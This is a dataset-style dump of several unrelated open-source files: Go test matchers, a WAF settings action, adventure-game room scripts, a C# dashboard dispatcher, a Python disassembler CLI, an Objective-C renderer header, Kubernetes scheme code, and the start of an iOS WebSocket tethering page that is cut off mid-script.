text
stringlengths 2
100k
| meta
dict |
---|---|
package matchers
import (
"bytes"
"fmt"
"reflect"
"github.com/onsi/gomega/format"
)
type EqualMatcher struct {
Expected interface{}
}
func (matcher *EqualMatcher) Match(actual interface{}) (success bool, err error) {
if actual == nil && matcher.Expected == nil {
return false, fmt.Errorf("Refusing to compare <nil> to <nil>.\nBe explicit and use BeNil() instead. This is to avoid mistakes where both sides of an assertion are erroneously uninitialized.")
}
// Shortcut for byte slices.
// Comparing long byte slices with reflect.DeepEqual is very slow,
// so use bytes.Equal if actual and expected are both byte slices.
if actualByteSlice, ok := actual.([]byte); ok {
if expectedByteSlice, ok := matcher.Expected.([]byte); ok {
return bytes.Equal(actualByteSlice, expectedByteSlice), nil
}
}
return reflect.DeepEqual(actual, matcher.Expected), nil
}
func (matcher *EqualMatcher) FailureMessage(actual interface{}) (message string) {
actualString, actualOK := actual.(string)
expectedString, expectedOK := matcher.Expected.(string)
if actualOK && expectedOK {
return format.MessageWithDiff(actualString, "to equal", expectedString)
}
return format.Message(actual, "to equal", matcher.Expected)
}
func (matcher *EqualMatcher) NegatedFailureMessage(actual interface{}) (message string) {
return format.Message(actual, "not to equal", matcher.Expected)
}
| {
"pile_set_name": "Github"
} |
package servers
import (
"github.com/TeaWeb/code/teaconfigs"
"github.com/TeaWeb/code/teaweb/actions/default/proxy/proxyutils"
"github.com/iwind/TeaGo/actions"
)
type WafUpdateAction actions.Action
// WAF修改
func (this *WafUpdateAction) RunPost(params struct {
ServerId string
WafId string
}) {
server := teaconfigs.NewServerConfigFromId(params.ServerId)
if server == nil {
this.Fail("找不到Server")
}
if len(params.WafId) == 0 {
server.WAFOn = true // always true
server.WafId = ""
} else {
waf := teaconfigs.SharedWAFList().FindWAF(params.WafId)
if waf == nil {
this.Fail("要设置的WAF不存在")
}
server.WAFOn = true
server.WafId = waf.Id
}
err := server.Save()
if err != nil {
this.Fail("保存失败:" + err.Error())
}
proxyutils.NotifyChange()
this.Success()
}
| {
"pile_set_name": "Github"
} |
[logics for room 36 -- rmLounge
[ "Leisure Suit Larry in the Land of the Lounge Lizards"
[ by Al Lowe
%include "rm36.msg"
%include "gamedefs.h"
%include "iv_views.h"
%define GIRL_Y 93
%define JOKE_MAX 37 [ number of gags in repetoire
%define ZINGER_MIN 21 [ number of first zinger message
%define ZINGER_MAX 26 [ number of last zinger message
%define mcOnStage lf0
%define girlsOnStage lf1
%define girlsAtRight lf2
%define girlsAtLeft lf3
%define nearChair lf4
%define egoSitDone lf5
%define egoStandDone lf6
%define drummerDone lf7
%define outOfJokes lf8
%define cushionDone lf9
%define doMagicTrick lf10
%define heardJoke1 lf11
%define heardJoke2 lf12
%define heardJoke3 lf13
%define heardJoke4 lf14
%define heardJoke5 lf15
%define heardJoke6 lf16
%define heardJoke7 lf17
%define heardJoke8 lf18
%define heardJoke9 lf19
%define heardJoke10 lf20
%define heardJoke11 lf21
%define heardJoke12 lf22
%define heardJoke13 lf23
%define heardJoke14 lf24
%define heardJoke15 lf25
%define heardJoke16 lf26
%define heardJoke17 lf27
%define heardJoke18 lf28
%define heardJoke19 lf29
%define heardJoke20 df0
%define heardJoke21 df1
%define heardJoke22 df2
%define heardJoke23 df3
%define heardJoke24 df4
%define heardJoke25 df5
%define heardJoke26 df6
%define heardJoke27 df7
%define heardJoke28 df8
%define heardJoke29 df9
%define heardJoke30 df10
%define heardJoke31 df11
%define heardJoke32 df12
%define heardJoke33 df13
%define heardJoke34 df14
%define heardJoke35 df15
%define heardJoke36 df16
%define heardJoke37 df17
%define heardJoke38 df18
%define heardJoke39 df19
[ %define heardJoke40 df20
[ %define heardJoke41 df21
[ %define heardJoke42 df22
[ %define heardJoke43 df23
[ %define heardJoke44 df24
[ %define heardJoke45 df25
%define joke lv0
%define zinger lv1
%define trickTimer lv2
%object aMC 1
%object aGirls 2
%object aCandle1 3
%object aCandle2 4
%object aCandle3 5
%object aCandle4 6
%object aCandle5 7
%object aDrummer 8
if (initLog)
{
LoadPic( currentRoom);
DrawPic( currentRoom);
DiscardPic( currentRoom);
LoadView( vLoungeCandles);
LoadView( vEgoSittingLounge);
LoadSound( sWhoopieCushion);
AnimateObj( aCandle1);
IgnoreObjs( aCandle1);
SetView( aCandle1, vLoungeCandles);
SetCel( aCandle1, 0);
SetPriority( aCandle1, 11);
Position( aCandle1, 41, 110);
Draw( aCandle1);
AnimateObj( aCandle2);
IgnoreObjs( aCandle2);
SetView( aCandle2, vLoungeCandles);
SetCel( aCandle2, 1);
SetPriority( aCandle2, 11);
Position( aCandle2, 78, 110);
Draw( aCandle2);
AnimateObj( aCandle3);
IgnoreObjs( aCandle3);
SetView( aCandle3, vLoungeCandles);
SetCel( aCandle3, 2);
SetPriority( aCandle3, 11);
Position( aCandle3, 115, 110);
Draw( aCandle3);
AnimateObj( aCandle4);
IgnoreObjs( aCandle4);
SetView( aCandle4, vLoungeCandles);
SetCel( aCandle4, 0);
SetPriority( aCandle4, 14);
Position( aCandle4, 58, 140);
Draw( aCandle4);
AnimateObj( aCandle5);
IgnoreObjs( aCandle5);
SetView( aCandle5, vLoungeCandles);
SetCel( aCandle5, 1);
SetPriority( aCandle5, 14);
Position( aCandle5, 98, 140);
Draw( aCandle5);
Random( 1, 2, work);
if (work == 1)
{
Random( 1, 3, work);
if (work == 1)
{
Set( doMagicTrick);
Random( 20, 40, trickTimer);
}
Set( mcOnStage);
LoadView( vLoungeComedian);
LoadView( vDrummer);
LoadSound( sDrummer);
AnimateObj( aMC);
SetView( aMC, vLoungeComedian);
SetCel( aMC, 0);
Position( aMC, 77, 93);
Draw( aMC);
StopUpdate( aMC);
scriptCycles = 51;
AnimateObj( aDrummer);
SetView( aDrummer, vDrummer);
SetCel( aDrummer, 0);
Position( aDrummer, 41, 92);
Draw( aDrummer);
StopUpdate( aDrummer);
}
else
{
Set( girlsOnStage);
LoadView( vLoungeDancers);
LoadSound( mCanCan);
AnimateObj( aGirls);
SetView( aGirls, vLoungeDancers);
Position( aGirls, 70, 93);
Draw( aGirls);
Set( girlsAtRight);
Set( musicDone);
}
egoX = 25;
egoY = 167;
SetLoop( ego, FACING_BACK);
PositionV( ego, egoX, egoY);
Draw( ego);
StartMotion( ego);
ShowPic( );
Return( );
} [ end initLOG
Reset( nearChair);
if (Posn( ego, 100, 145, 114, 163))
{
Set( nearChair);
}
if (mcOnStage &&
secondsInRoom > 15)
{
Set( nearPerson);
}
[*****
:handleInput
[*****
if (!haveInput) {goto noInput;}
if ((Said( look) ||
Said( look, room)))
{
Print( 1);
Print( 2);
}
if (mcOnStage &&
(Said( heckle, comic) ||
Said( talk, comic) ||
Said( yell, comic)))
{
Print( 13);
Print( 14);
}
if (Said( applaud, rol))
{
if (mcOnStage)
{
Print( 111);
}
else
{
Print( 112);
}
}
if ((Said( name, room) ||
Said( name, place)))
{
Print( 15);
Print( 2);
}
if ((Said( look, top, table) ||
Said( look, table) ||
Said( look, chair)))
{
Print( 6);
}
if (Said( look, ashtray))
{
Print( 77);
}
if (Said( look, candle))
{
Print( 7);
Print( 8);
}
if (Said( look, stage))
{
if (mcOnStage)
{
Print( 9);
}
else
{
Print( 10);
}
}
if (Said( look, man))
{
if (mcOnStage)
{
Print( 9);
}
else
{
Print( 11);
}
}
if ((Said( look, girl) ||
Said( look, dancers) ||
Said( look, show, girls)))
{
if (mcOnStage)
{
Print( 12);
}
else
{
Print( 10);
}
}
if (mcOnStage &&
Said( anyword, drummer, rol))
{
Print( 18);
}
if ((Said( wave, girls, rol) ||
Said( wave, comic, rol) ||
Said( whistle, girls, rol)||
Said( whistle, comic, rol)))
{
if (mcOnStage)
{
Print( 19);
Print( 20);
}
else
{
Print( 78);
Print( 79);
}
}
if ((Said( buy, drink) ||
Said( call, waiter) ||
Said( order, rol) ||
Said( get, drink)))
{
if (currentStatus != SITTING)
{
Print( 16);
}
else
{
Print( 17);
}
}
if ((Said( sit) ||
Said( sit, table) ||
Said( sit, chair) ||
Said( sit, down)))
{
if (currentStatus == SITTING)
{
Print( 3);
}
else
{
if (!nearChair)
{
Print( 5);
}
else
{
currentStatus = SITTING;
StopMotion( ego);
Set( programControl);
SetView( ego, vEgoSittingLounge);
SetCel( ego, 0);
SetPriority( ego, 15);
RepositionTo( ego, 107, 152);
StopSound();
Sound( sWhoopieCushion, musicDone);
EndOfLoop( ego, cushionDone);
Set( keepCycling);
}
}
}
if ((Said( stand) ||
Said( leave, table) ||
Said( rise) ||
Said( stand, up)))
{
if (currentStatus != SITTING)
{
Print( 4);
}
else
{
Set( OK);
Reset( keepCycling);
SetView( ego, vEgo);
ReleasePriority( ego);
RepositionTo( ego, 107, 151);
Reset( programControl);
StartMotion( ego);
currentStatus = NORMAL;
}
}
if ((Said( climb, stage) ||
Said( climb, on, stage) ||
Said( jump, on, stage) ||
Said( sit, on, stage) ||
Said( sing, rol) ||
Said( dance, rol) ||
Said( go, stage)))
{
Print( 80);
}
if (Said( throw, rose, rol))
{
Print( 81);
Drop( iRose);
}
if (Said( get, rose))
{
Print( 100);
}
[*****
:noInput
[*****
if (cushionDone)
{
Reset( cushionDone);
Print( 75);
StopCycling( ego);
Reset( keepCycling);
if (!satOnWhoopieCushion)
{
Set( satOnWhoopieCushion);
currentScore += 1;
}
}
if (girlsAtRight)
{
Reset( girlsAtRight);
MoveObj( aGirls, 47, GIRL_Y, 1, girlsAtLeft);
}
if (girlsAtLeft)
{
Reset( girlsAtLeft);
MoveObj( aGirls, 93, GIRL_Y, 1, girlsAtRight);
}
if (scriptDone)
{
Reset( scriptDone);
++script;
if (script == 1)
{
Random( 12, 22, scriptCycles);
if (typing)
{
--script; [ Try again in a little while.
}
else
{
StartUpdate( aMC);
}
}
if (script == 2)
{
Random( 8, 14, scriptCycles);
if (typing)
{
--script; [ Try again in a little while.
}
else
{
SetCel( aMC, 0);
StopUpdate( aMC);
ForceUpdate( aMC);
if ((!heardJoke1 ||
!heardJoke2 ||
!heardJoke3 ||
!heardJoke4 ||
!heardJoke5 ||
!heardJoke6 ||
!heardJoke7 ||
!heardJoke8 ||
!heardJoke9 ||
!heardJoke10 ||
!heardJoke11 ||
!heardJoke12 ||
!heardJoke13 ||
!heardJoke14 ||
!heardJoke15 ||
!heardJoke16 ||
!heardJoke17 ||
!heardJoke18 ||
!heardJoke19 ||
!heardJoke20 ||
!heardJoke21 ||
!heardJoke22 ||
!heardJoke23 ||
!heardJoke24 ||
!heardJoke25 ||
!heardJoke26 ||
!heardJoke27 ||
!heardJoke28 ||
!heardJoke29 ||
!heardJoke30 ||
!heardJoke31 ||
!heardJoke32 ||
!heardJoke33 ||
!heardJoke34 ||
!heardJoke35 ||
!heardJoke36 ||
!heardJoke37)) [ ||
[ !heardJoke38 ||
[ !heardJoke39)) ||
[ !heardJoke40 ||
[ !heardJoke41 ||
[ !heardJoke42 ||
[ !heardJoke43 ||
[ !heardJoke44 ||
[ !heardJoke45))
{
:pickAJoke;
Random( 1, JOKE_MAX, joke);
work = joke;
work += 210; [ Because flags are 211-255.
if (IssetV( work)) [ Be sure it's a new one.
{
goto pickAJoke;
}
SetV( work);
if (joke == 1)
{
Print( 27);
Print( 28);
}
if (joke == 2)
{
Print( 29);
Print( 30);
}
if (joke == 3)
{
Print( 31);
Print( 32);
}
if (joke == 4)
{
Print( 33);
Print( 34);
}
if (joke == 5)
{
Print( 35);
Print( 36);
}
if (joke == 6)
{
Print( 37);
Print( 38);
}
if (joke == 7)
{
Print( 39);
Print( 40);
}
if (joke == 8)
{
Print( 41);
Print( 42);
}
if (joke == 9)
{
Print( 43);
}
if (joke == 10)
{
Print( 44);
Print( 45);
}
if (joke == 11)
{
Print( 46);
}
if (joke == 12)
{
Print( 47);
}
if (joke == 13)
{
[ Print( 48);
Print( 109);
Print( 110);
}
if (joke == 14)
{
Print( 49);
Print( 50);
}
if (joke == 15)
{
Print( 51);
}
if (joke == 16)
{
Print( 52);
}
if (joke == 17)
{
Print( 53);
Print( 54);
Print( 55);
Print( 56);
Print( 57);
}
if (joke == 18)
{
Print( 58);
Print( 59);
}
if (joke == 19)
{
Print( 60);
Print( 61);
}
if (joke == 20)
{
Print( 62);
Print( 76);
}
if (joke == 21)
{
Print( 63);
Print( 64);
}
if (joke == 22)
{
Print( 65);
}
if (joke == 23)
{
Print( 66);
Print( 67);
}
if (joke == 24)
{
Print( 68);
Print( 69);
}
if (joke == 25)
{
Print( 70);
}
if (joke == 26)
{
Print( 71);
}
if (joke == 27)
{
Print( 72);
Print( 73);
}
if (joke == 28)
{
Print( 74);
Print( 93);
}
if (joke == 29)
{
Print( 94);
Print( 95);
}
if (joke == 30)
{
Print( 96);
Print( 97);
}
if (joke == 31)
{
Print( 98);
Print( 99);
}
if (joke == 32)
{
Print( 96);
Print( 97);
}
if (joke == 33)
{
Print( 98);
Print( 99);
}
if (joke == 34)
{
Print( 101);
Print( 102);
}
if (joke == 35)
{
Print( 103);
Print( 104);
}
if (joke == 36)
{
Print( 105);
Print( 106);
}
if (joke == 37)
{
Print( 107);
Print( 108);
}
[ if (joke == 38)
[ {
[ }
[ if (joke == 39)
[ {
[ Print( );
[ Print( );
[ }
[
[ if (joke == 40)
[ {
[ Print( );
[ Print( );
[ }
[
}
else
{
Set( outOfJokes);
Print( 113);
SetCel( aMC, 0);
StopUpdate( aMC);
ForceUpdate( aMC);
script = 0;
scriptTimer = 0;
scriptCycles = 0;
}
}
}
if (script == 3)
{
StartUpdate( aDrummer);
Sound( sDrummer, done);
EndOfLoop( aDrummer, scriptDone);
}
if (script == 4)
{
SetCel( aDrummer, 0);
StopUpdate( aDrummer);
ForceUpdate( aDrummer);
StartUpdate( aMC);
Random( 11, 22, scriptCycles);
}
if (script == 5)
{
Random( 4, 7, scriptTimer); [ Time before next joke.
if (typing)
{
--script; [ Try again in a little while.
}
else
{
script = 0;
SetCel( aMC, 0);
StopUpdate( aMC);
ForceUpdate( aMC);
if (!outOfJokes)
{
Random( ZINGER_MIN, ZINGER_MAX, zinger);
PrintV( zinger);
}
}
}
}
if (musicDone && girlsOnStage)
{
Sound( mCanCan, musicDone);
}
if (aSecondPassed && trickTimer)
{
--trickTimer;
if (trickTimer == 1)
{
if (script)
{
trickTimer = 2;
}
else
{
message = 82;
:mrLooper;
PrintV( message);
++message;
if (!message > 92)
{
goto mrLooper;
}
ShowObj( ivWallet);
}
}
}
[*****
:exit [ test for leaving the room
[*****
if (edgeEgoHit == BOTTOM) {newRoom = rmElevatorBottom;}
| {
"pile_set_name": "Github"
} |
// This file is part of Hangfire.
// Copyright © 2013-2014 Sergey Odinokov.
//
// Hangfire is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as
// published by the Free Software Foundation, either version 3
// of the License, or any later version.
//
// Hangfire is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public
// License along with Hangfire. If not, see <http://www.gnu.org/licenses/>.
using System;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
namespace Hangfire.Dashboard
{
internal class RazorPageDispatcher : IDashboardDispatcher
{
private readonly Func<Match, RazorPage> _pageFunc;
public RazorPageDispatcher(Func<Match, RazorPage> pageFunc)
{
_pageFunc = pageFunc;
}
public Task Dispatch(DashboardContext context)
{
context.Response.ContentType = "text/html";
var page = _pageFunc(context.UriMatch);
page.Assign(context);
return context.Response.WriteAsync(page.ToString());
}
}
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
# Mode: -*- python -*-
#
# Copyright (c) 2015-2016, 2018 by Rocky Bernstein <[email protected]>
#
from __future__ import print_function
import sys, os, getopt
from decompyle3.disas import disassemble_file
from decompyle3.version import VERSION
program, ext = os.path.splitext(os.path.basename(__file__))
__doc__ = """
Usage:
{0} [OPTIONS]... FILE
{0} [--help | -h | -V | --version]
Disassemble FILE with the instruction mangling that is done to
assist decompyle3 in parsing the instruction stream. For example
instructions with variable-length arguments like CALL_FUNCTION and
BUILD_LIST have argument counts appended to the instruction name, and
COME_FROM instructions are inserted into the instruction stream.
Examples:
{0} foo.pyc
{0} foo.py # same thing as above but find the file
{0} foo.pyc bar.pyc # disassemble foo.pyc and bar.pyc
See also `pydisasm' from the `xdis' package.
Options:
-V | --version show version and stop
-h | --help show this message
""".format(program)
PATTERNS = ('*.pyc', '*.pyo')
def main():
Usage_short = """usage: %s FILE...
Type -h for for full help.""" % program
if len(sys.argv) == 1:
print("No file(s) given", file=sys.stderr)
print(Usage_short, file=sys.stderr)
sys.exit(1)
try:
opts, files = getopt.getopt(sys.argv[1:], 'hVU',
['help', 'version', 'decompyle3'])
except getopt.GetoptError as e:
print('%s: %s' % (os.path.basename(sys.argv[0]), e), file=sys.stderr)
sys.exit(-1)
for opt, val in opts:
if opt in ('-h', '--help'):
print(__doc__)
sys.exit(1)
elif opt in ('-V', '--version'):
print("%s %s" % (program, VERSION))
sys.exit(0)
else:
print(opt)
print(Usage_short, file=sys.stderr)
sys.exit(1)
for file in files:
if os.path.exists(files[0]):
disassemble_file(file, sys.stdout)
else:
print("Can't read %s - skipping" % files[0],
file=sys.stderr)
pass
pass
return
if __name__ == '__main__':
main()
| {
"pile_set_name": "Github"
} |
//
// Copyright 2015 Pixar
//
// Licensed under the Apache License, Version 2.0 (the "Apache License")
// with the following modification; you may not use this file except in
// compliance with the Apache License and the following modification to it:
// Section 6. Trademarks. is deleted and replaced with:
//
// 6. Trademarks. This License does not grant permission to use the trade
// names, trademarks, service marks, or product names of the Licensor
// and its affiliates, except as required to comply with Section 4(c) of
// the License and to reproduce the content of the NOTICE file.
//
// You may obtain a copy of the Apache License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the Apache License with the above modification is
// distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the Apache License for the specific
// language governing permissions and limitations under the Apache License.
//
#pragma once
#import <Foundation/Foundation.h>
#import <Metal/Metal.h>
typedef enum {
kEndCapBilinearBasis = 0,
kEndCapBSplineBasis,
kEndCapGregoryBasis,
kEndCapLegacyGregory,
} EndCap;
typedef enum {
kFVarLinearNone = 0,
kFVarLinearCornersOnly,
kFVarLinearCornersPlus1,
kFVarLinearCornersPlus2,
kFVarLinearBoundaries,
kFVarLinearAll
} FVarLinearInterp;
typedef enum {
kCPU = 0,
kMetal,
} KernelType;
typedef enum {
kDisplayStyleWire = 0,
kDisplayStyleShaded,
kDisplayStyleWireOnShaded,
} DisplayStyle;
typedef enum {
kShadingMaterial = 0,
kShadingFaceVaryingColor,
kShadingPatchType,
kShadingPatchDepth,
kShadingPatchCoord,
kShadingNormal,
} ShadingMode;
typedef struct {
float rotationX;
float rotationY;
float dollyDistance;
float aspectRatio;
} Camera;
@class OSDRenderer;
@protocol OSDRendererDelegate <NSObject>
-(id<MTLDevice>)deviceFor:(OSDRenderer*)renderer;
-(id<MTLCommandQueue>)commandQueueFor:(OSDRenderer*)renderer;
-(MTLRenderPassDescriptor*)renderPassDescriptorFor:(OSDRenderer*)renderer;
-(void)setupDepthStencilState:(MTLDepthStencilDescriptor*)descriptor for:(OSDRenderer*)renderer;
-(void)setupRenderPipelineState:(MTLRenderPipelineDescriptor*)descriptor for:(OSDRenderer*)renderer;
@end
@interface OSDRenderer : NSObject
-(instancetype)initWithDelegate:(id<OSDRendererDelegate>)delegate;
-(id<MTLRenderCommandEncoder>)drawFrame:(id<MTLCommandBuffer>)commandBuffer;
-(void)fitFrame;
@property (readonly, nonatomic) id<OSDRendererDelegate> delegate;
@property (nonatomic) unsigned refinementLevel;
@property (nonatomic) int tessellationLevel;
@property (readonly, nonatomic) NSArray<NSString*>* loadedModels;
@property (nonatomic) NSString* currentModel;
@property (readonly, nonatomic) Camera* camera;
@property (readonly, nonatomic) int* patchCounts;
@property (nonatomic) bool useFractionalTessellation;
@property (nonatomic) bool useScreenspaceTessellation;
@property (nonatomic) bool usePatchIndexBuffer;
@property (nonatomic) bool usePatchBackfaceCulling;
@property (nonatomic) bool usePatchClipCulling;
@property (nonatomic) bool useSmoothCornerPatch;
@property (nonatomic) bool useSingleCreasePatch;
@property (nonatomic) bool useInfinitelySharpPatch;
@property (nonatomic) bool useStageIn;
@property (nonatomic) bool usePrimitiveBackfaceCulling;
@property (nonatomic) bool useAdaptive;
@property (nonatomic) bool yup;
@property (nonatomic) bool freeze;
@property (nonatomic) bool animateVertices;
@property (nonatomic) bool displayControlMeshEdges;
@property (nonatomic) bool displayControlMeshVertices;
@property (nonatomic) bool legacyGregoryEnabled;
@property (nonatomic) DisplayStyle displayStyle;
@property (nonatomic) ShadingMode shadingMode;
@property (nonatomic) EndCap endCapMode;
@property (nonatomic) FVarLinearInterp fVarLinearInterp;
@property (nonatomic) KernelType kernelType;
@end
| {
"pile_set_name": "Github"
} |
/*
Copyright 2015 The Kubernetes Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package runtime
// SchemeBuilder collects functions that add things to a scheme. It's to allow
// code to compile without explicitly referencing generated types. You should
// declare one in each package that will have generated deep copy or conversion
// functions.
type SchemeBuilder []func(*Scheme) error
// AddToScheme applies all the stored functions to the scheme. A non-nil error
// indicates that one function failed and the attempt was abandoned.
func (sb *SchemeBuilder) AddToScheme(s *Scheme) error {
for _, f := range *sb {
if err := f(s); err != nil {
return err
}
}
return nil
}
// Register adds a scheme setup function to the list.
func (sb *SchemeBuilder) Register(funcs ...func(*Scheme) error) {
for _, f := range funcs {
*sb = append(*sb, f)
}
}
// NewSchemeBuilder calls Register for you.
func NewSchemeBuilder(funcs ...func(*Scheme) error) SchemeBuilder {
var sb SchemeBuilder
sb.Register(funcs...)
return sb
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html class="ui-mobile js">
<head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><base href=".">
<title>iOS-HTML5-Tethering</title>
<style type="text/css">
form input + label.error, form select + label.error, form textarea + label.error {
border-radius: 0 0 2px 2px;
margin: 3px 0;
}
form label.error, form label.notice {
background: none repeat scroll 0 0 #F2BDB9;
border-radius: 2px 2px 2px 2px;
color: #A9422E;
display: block;
font-size: 13px;
padding: 6px 8px;
position: relative;
z-index: 100;
}
.error {
color: #EE5555;
}
p.event,
p.error,
p.warning {
background: #EAEAEA;
border: 1px solid #E2E2E2;
border-radius: 5px;
box-shadow: 0 1px 1px 0 rgba(255, 255, 255, 1), 1px 1px 2px 0 rgba(0,0,0,0.08) inset;
font-size: 13px;
font-weight: bold;
margin: 2px 0;
padding: 7px 10px;
text-shadow: 0 1px 0 rgba(255, 255, 255, 0.7);
}
p.event {
background: #99e393; /* Old browsers */
background: -moz-linear-gradient(top, #99e393 0%, #90e18c 22%, #76db75 66%, #67d767 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#99e393), color-stop(22%,#90e18c), color-stop(66%,#76db75), color-stop(100%,#67d767)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #99e393 0%,#90e18c 22%,#76db75 66%,#67d767 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #99e393 0%,#90e18c 22%,#76db75 66%,#67d767 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #99e393 0%,#90e18c 22%,#76db75 66%,#67d767 100%); /* IE10+ */
background: linear-gradient(top, #99e393 0%,#90e18c 22%,#76db75 66%,#67d767 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#99e393', endColorstr='#67d767',GradientType=0 ); /* IE6-9 */
border-color: #88C185;
color: #005D07;
}
p.error {
background: #f25448; /* Old browsers */
background: -moz-linear-gradient(top, #f25448 0%, #e13734 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#f25448), color-stop(100%,#e13734)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #f25448 0%,#e13734 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #f25448 0%,#e13734 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #f25448 0%,#e13734 100%); /* IE10+ */
background: linear-gradient(top, #f25448 0%,#e13734 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#f25448', endColorstr='#e13734',GradientType=0 ); /* IE6-9 */
border-color: #BB493B;
color: #751711;
text-shadow: 0 1px 0 rgba(255, 255, 255, 0.30);
}
p.warning {
background: #ffe400; /* Old browsers */
background: -moz-linear-gradient(top, #ffe400 0%, #ffcd01 100%); /* FF3.6+ */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#ffe400), color-stop(100%,#ffcd01)); /* Chrome,Safari4+ */
background: -webkit-linear-gradient(top, #ffe400 0%,#ffcd01 100%); /* Chrome10+,Safari5.1+ */
background: -o-linear-gradient(top, #ffe400 0%,#ffcd01 100%); /* Opera 11.10+ */
background: -ms-linear-gradient(top, #ffe400 0%,#ffcd01 100%); /* IE10+ */
background: linear-gradient(top, #ffe400 0%,#ffcd01 100%); /* W3C */
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffe400', endColorstr='#ffcd01',GradientType=0 ); /* IE6-9 */
border-color: #D5BF00;
color: #735A00;
}
div.connecting strong {
background: url(/assets/images/ajax-loader.gif) no-repeat 100% 50%;
padding-right: 16px;
}
.nocookies { display: none; text-align: center; padding: 5px; }
.text-justify { text-align: justify; }
.text-center { text-align: center; }
</style>
<link rel="stylesheet" href="jquery.mobile-1.0.1.min.css">
<script src="jquery-1.7.1.min.js"></script>
<script src="jquery.mobile-1.0.1.min.js"></script>
<script type="text/javascript">
//Document is loaded let's start...
jQuery(document).ready(function($) {
if (window.abort || !navigator.cookieEnabled) return;
var socket = {
/**
* Socket Status Codes
*/
CONNECTING: 0, // The connection has not yet been established.
OPEN: 1, // The WebSocket connection is established and communication is possible.
CLOSING: 2, // The connection is going through the closing handshake.
CLOSED: 3, // The connection has been closed or could not be opened.
readyState: ['Connecting', 'Open', 'Closing', 'Closed'],
startRemoteConnectTimer: function() {
var start = new Date().getTime();
socket.remoteConnectTimer = '0.0';
window.remoteInterval = window.setInterval(function() {
var time = new Date().getTime() - start;
socket.remoteConnectTimer = Math.floor(time / 100) / 10;
if (Math.round(socket.remoteConnectTimer) == socket.remoteConnectTimer) { socket.remoteConnectTimer += '.0'; }
if (socket.localConnectTimer >= 30) {
socket.remote.close();
}
}, 100);
},
stopRemoteConnectTimer: function() {
window.clearInterval(window.remoteInterval);
},
startLocalConnectTimer: function() {
var start = new Date().getTime();
socket.localConnectTimer = '0.0';
window.localInterval = window.setInterval(function() {
var time = new Date().getTime() - start;
socket.localConnectTimer = Math.floor(time / 100) / 10;
if (Math.round(socket.localConnectTimer) == socket.localConnectTimer) { socket.localConnectTimer += '.0'; }
if (socket.localConnectTimer >= 30) {
for (var id in localsockets) {
if (localsockets[id].readyState < 1) {
localsockets[id].close();
}
}
}
}, 100);
},
stopLocalConnectTimer: function() {
window.clearInterval(window.localInterval);
}
},
localConnected = false,
localAttempt = 0,
$localstatus = $('#local-status'),
localsockets = {},
remoteConnected = false,
remoteAttempt = 0,
$remotestatus = $('#remote-status'),
host = {};
if (!('WebSocket' in window)) {
var msg = 'It looks like your browser does not support Web Sockets. You must update your iOS device to the latest OS, for this to work.';
$localstatus.html('<p class="error">' + msg + '</p>');
alert(msg);
} else {
if (!navigator.onLine) alert('Your browser appears to be offline. Please ensure that your iOS device has an internet connection and then refresh this page.');
else {
window.setInterval(connect, 3000);
}
}
function connect() {
var host = {};
host.remote = "ws://ec2-50-17-152-48.compute-1.amazonaws.com:8080/websocket/";
host.local = "ws://169.254.134.89:6354/websocket";
try {
// remote websocket
if (remoteConnected == false) {
if (!socket.remoteConnectTimer) {
socket.startRemoteConnectTimer();
}
socket.remote = new WebSocket(host.remote);
socket.remote.binaryType = "arraybuffer";
message('remote', '<p class="warning">Attempting to establish a connection with the Tether proxy (Attempt #' + (++remoteAttempt) + ') ...');
$('#remote-label').addClass('connecting');
socket.remote.onopen = function() {
$('#remote-label').removeClass('connecting');
socket.stopRemoteConnectTimer();
socket.remoteConnectTimer = 0;
remoteAttempt = 0;
remoteConnected = true;
message('remote', '<p class="event">Connected to the Tether proxy.');
}
socket.remote.onclose = function() {
$('#remote-label').removeClass('connecting');
if (remoteConnected) {}
else {
if (socket.remoteConnectTimer >= 30) {
socket.stopLocalConnectTimer();
socket.localConnectTimer = 0;
}
}
remoteConnected = false;
connectRemote();
}
socket.remote.onmessage = function(msg) {
if(localConnected == true) socket.local.send( msg.data );
}
socket.remote.onerror = function(e) {
alert('Unable to connect to Tether proxy. Please ensure that your iOS device has an internet connection.');
console.log(e);
}
}
// local websocket
if (localConnected == false) {
if (!socket.localConnectTimer) {
socket.startLocalConnectTimer();
}
var localsocket = new WebSocket(host.local);
localsocket.binaryType = "arraybuffer";
localsocket.id = new Date().getTime();
localsockets[localsocket.id] = localsocket;
message('local', '<p class="warning">Attempting to establish a connection to your computer (Attempt #' + (++localAttempt) + ') ...');
$('#local-label').addClass('connecting');
localsocket.onopen = function() {
socket.local = this;
console.log('opened local websocket ' + this.id);
$('#local-label').removeClass('connecting');
socket.stopLocalConnectTimer();
socket.localConnectTimer = 0;
for (var id in localsockets) {
if (id != this.id) {
